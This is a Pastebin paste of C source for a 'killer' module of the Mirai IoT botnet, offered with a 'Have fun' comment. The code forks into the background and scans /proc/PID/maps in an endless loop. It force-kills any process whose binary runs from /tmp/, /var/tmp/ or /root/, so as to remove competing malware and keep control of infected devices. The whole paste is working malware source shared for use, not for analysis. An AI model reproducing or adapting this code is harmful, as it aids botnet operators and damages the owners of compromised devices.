Advertisement
mysql_Anarchy

[ C ] Mirai Killer

Jun 17th, 2018
1,294
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.03 KB | None | 0 0
  1. //Updated killer for mirai with pornhub link ;) Have fun.
  2. #define _GNU_SOURCE
  3. #include <stdio.h>
  4. #include <unistd.h>
  5. #include <stdlib.h>
  6. #include <arpa/inet.h>
  7. #include <linux/limits.h>
  8. #include <sys/types.h>
  9. #include <dirent.h>
  10. #include <signal.h>
  11. #include <fcntl.h>
  12. #include <time.h>
  13. #include "includes.h"
  14. #include "killer.h"
  15. #include "table.h"
  16. #include "util.h"
  17.  
  18.  
  19.  
  20. int mem_truez(char *buf, int buf_len, char *str, int str_len)
  21. {
  22.     int matches = 0;
  23.  
  24.     if(str_len > buf_len)
  25.         return FALSE;
  26.  
  27.     while(buf_len--)
  28.     {
  29.         if(*buf++ == str[matches])
  30.         {
  31.             if(++matches == str_len)
  32.                 return TRUE;
  33.         }
  34.         else
  35.             matches = 0;
  36.     }
  37.  
  38.     return FALSE;
  39. }
  40.  
  41.  
  42.  
  43. void killer_init(void)
  44. {
  45.  
  46.     int pidd = fork();
  47.     if(pidd > 0 || pidd == -1)
  48.         return;
  49.  
  50.     char *RandBots[] = {
  51.  
  52.     "/tmp/",
  53.     "/var/tmp/",
  54.     "/root/",
  55.  
  56.     };
  57.  
  58.     int size = 3;//add strings up above to run them all
  59.     char proc_buf[512], dir[1024];
  60.     int a, az;
  61.     FILE *proc;
  62.     //printf("DBG: Starting\r\n");
  63.    
  64.     while(1){
  65.         for(a = 50; a < 32768; a++){
  66.             if(a == getpid()){
  67.                 continue;
  68.             }
  69.            
  70.             sprintf(dir, "/proc/%d/maps", a);
  71.             proc = fopen(dir, "r");
  72.            
  73.             if(proc == NULL){/* If pid number isnt in /proc/ restart with a dif number */
  74.                 continue;
  75.             }
  76.  
  77.             while(fgets(proc_buf, sizeof(proc_buf), proc)){ /* Lets print first line of /proc/PID/maps */
  78.            
  79.                 if(strlen(proc_buf) < 50){/* Lets Remove processes without a exe */
  80.                     continue;
  81.                 }
  82.                
  83.                 char *cut = strdup(proc_buf+73);/* Lets remove some shit out of maps */
  84.                
  85.                 for(az = 0;az < size;az++){
  86.  
  87.                     char *lmao = RandBots[az];
  88.                    
  89.                     if(mem_truez(cut, strlen(cut), lmao, strlen(lmao)) == 1){/* Lets look for the binary in maps */
  90.                         //printf("DBG: Killing pid %s:%d\r\n", lmao, a);
  91.                         kill(a, 9);
  92.                         continue;
  93.                     }
  94.                     //pornhub.com
  95.                     //printf("DBG: No killable %s strings for %d | bin: %s", lmao, a, cut);/* nope */
  96.                     sleep(3);
  97.                 }
  98.             }
  99.         }
  100.         sleep(1);
  101.     }
  102. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement